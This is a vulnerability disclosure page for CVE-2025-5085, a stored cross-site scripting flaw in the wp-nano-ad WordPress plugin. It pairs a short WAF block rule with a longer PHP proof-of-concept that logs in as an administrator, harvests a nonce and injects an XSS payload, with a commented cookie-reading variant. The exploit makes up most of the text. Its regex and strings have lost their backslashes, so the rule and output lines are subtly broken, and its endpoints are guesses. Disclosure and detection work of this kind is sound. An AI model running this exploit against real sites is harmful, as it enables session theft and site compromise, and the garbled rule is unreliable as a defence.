CVE-2025-5085: wp-nano-ad <= 1.31 Authenticated (Administrator+) Stored Cross-Site Scripting via blogrole_link Parameter PoC, Patch Analysis & Rule

# Atomic Edge WAF Rule - CVE-2025-5085 (metadata-based)
# Blocks stored XSS via blogrole_link parameter in wp-nano-ad plugin settings
SecRule REQUEST_URI "@rx ^/wp-admin/options-general.php" 
  "id:20265085,phase:2,deny,status:403,chain,msg:'CVE-2025-5085 Stored XSS via blogrole_link parameter in WP Nano AD',severity:'CRITICAL',tag:'CVE-2025-5085'"
  SecRule ARGS_GET:page "@streq wp-nano-ad" "chain"
    SecRule ARGS:blogrole_link "@rx (?:<script|<[^>]+onw+s*=|javascript:s*)" "t:lowercase"

<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-5085 - wp-nano-ad <= 1.31 - Authenticated (Administrator+) Stored Cross-Site Scripting via blogrole_link Parameter

// Configuration
$target_url = 'http://example.com'; // Change to target WordPress site URL
$admin_username = 'admin'; // Change to valid admin username
$admin_password = 'password'; // Change to valid admin password

// Step 1: Login as administrator
$login_url = $target_url . '/wp-login.php';
$login_data = array(
    'log' => $admin_username,
    'pwd' => $admin_password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);

if (strpos($response, 'Dashboard') === false && strpos($response, 'wp-admin') === false) {
    echo "[-] Login failed. Check credentials.n";
    exit;
}

echo "[+] Logged in successfully.n";

// Step 2: Identify the plugin settings endpoint (assumed pattern)
// The plugin likely has a settings page under /wp-admin/options-general.php or a custom menu
// We will attempt to find the correct nonce by fetching the options page first

// Attempt known plugin pages (inferred from plugin slug 'wp-nano-ad')
$settings_urls = array(
    $target_url . '/wp-admin/options-general.php?page=wp-nano-ad',
    $target_url . '/wp-admin/admin.php?page=wp-nano-ad',
    $target_url . '/wp-admin/options-general.php?page=nano-ad',
);

$found = false;
foreach ($settings_urls as $url) {
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_POST, false);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    $response = curl_exec($ch);
    
    // Look for a form with blogrole_link field and nonce
    if (preg_match('/<form[^>]*>.*?blogrole_link[^<]*<input[^>]*name="([^"]*_wpnonce[^"]*)"[^>]*value="([^"]+)"/s', $response, $matches)) {
        $nonce_name = $matches[1];
        $nonce_value = $matches[2];
        echo "[+] Found settings page at: $urln";
        echo "[+] Nonce: $nonce_name = $nonce_valuen";
        $found = true;
        break;
    }
    
    // Alternative: look for any hidden input named _wpnonce or _ajax_nonce
    if (preg_match('/<input[^>]*name="(?:_wpnonce|_ajax_nonce)"[^>]*value="([^"]+)"/s', $response, $matches)) {
        $nonce_value = $matches[1];
        echo "[+] Found nonce on page: $urln";
        echo "[+] Nonce value: $nonce_valuen";
        $found = true;
        break;
    }
}

if (!$found) {
    // Fallback: try to post without nonce (plugin may not use one)
    echo "[!] Could not find nonce. Attempting direct injection...n";
}

// Step 3: Craft malicious payload for blogrole_link
// Using a simple XSS payload that triggers an alert
$payload = '" onfocus="alert(1)" autofocus="';
// Alternatively, a more direct script payload:
// $payload = '<script>alert(document.cookie)</script>';

$post_data = array(
    'blogrole_link' => $payload,
);

if (isset($nonce_name) && isset($nonce_value)) {
    $post_data[$nonce_name] = $nonce_value;
}

// Determine the correct action URL from the form
$action_url = $found ? $url : $target_url . '/wp-admin/options-general.php?page=wp-nano-ad';

curl_setopt($ch, CURLOPT_URL, $action_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);

if (strpos($response, 'Settings saved') !== false || strpos($response, 'updated') !== false) {
    echo "[+] Payload injected successfully.n";
    echo "[+] Stored XSS will execute when a user visits the affected page.n";
} else {
    echo "[-] Injection might have failed. Check response.n";
    echo $response;
}

curl_close($ch);
?>